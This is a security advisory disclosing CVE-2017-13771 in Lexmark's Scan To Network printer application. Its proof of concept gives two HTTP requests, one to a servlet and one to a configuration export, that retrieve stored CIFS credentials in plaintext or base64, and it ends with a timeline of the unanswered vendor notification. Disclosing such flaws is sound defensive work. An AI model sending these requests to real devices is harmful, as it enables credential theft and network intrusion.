Summary
=======
1. Information exposure of network credentials in embedded printer
application (CVE-2017-13771)


Vendor
======
"Lexmark creates innovative imaging solutions and technologies that help
customers worldwide print, secure and manage information with ease,
efficiency and unmatched value. Combining innovative technologies with deep
industry expertise, Lexmark simplifies the complex intersection of digital
and printed information in retail, financial services, healthcare,
manufacturing, education, government and more." [1].


Tested version
==============
Lexmark Scan To Network (SNF) application <= 3.2.9


Vulnerabilitiy and PoC
=======================
"The Embedded Scan to Network solution is an embedded Java application that
is installed as a flash file on multifunction printers (MFPs) which support
the Lexmark Embedded Solutions Framework (LeSF). It allows users at the
printer to scan their documents to network destinations specified by the
network administrator" [2].

Scan To Network application supports the configuration of network
credentials and if used they will be stored in plaintext and transmited in
every request to the configuration tab. The next request should be made to
get plaintext credentials that could be used later to escalate privileges
in the network or get access to scanned documents:


POST https://host/cgi-bin/direct/printer/prtappauth/apps/snfDestServlet
HTTP/1.1
Host: host
Content-Type: multipart/form-data; boundary=----boundary
Content-Length: 181

------boundary
Content-Disposition: form-data; name="dests"

scanToNet.factory.0
------boundary
Content-Disposition: form-data; name="editButton"

Edit...
------boundary--


HTTP/1.1 200 OK
...
...
<span id="cifs.uName">
<span class="header">Username:</span>
<input type="text" name="cifs.uName" value="TEST" class="control"
maxlength="256"></input>
<span id="cifs.pwd">
<span class="header">Password:</span>
<input type="password" name="cifs.pwd" value="TEST123"
class="control"></input>



It is possible to have too a base64-encoded password from application
configuration export functionality:

GET
https://host/cgi-bin/direct/printer/prtappauth/apps/ImportExportServlet?exportButton=clicked
HTTP/1.1
Host: host


HTTP/1.1 200 OK
...
...
esf.cifs.inst.1.cifs.uName "TEST"
esf.cifs.inst.1.cifs.pwd "VEVTVDEyMw=="


Timeline
========
19/05/2017: Vendor is notified through security email
30/08/2017: No response from vendor, CVE assigned, full disclosure


[1] https://www.lexmark.com/en_us/about/company.html
[2]
http://support.lexmark.com/library/LEXMARK/primus/files/PATTLNK_8312007_1530-AdminGuide.pdf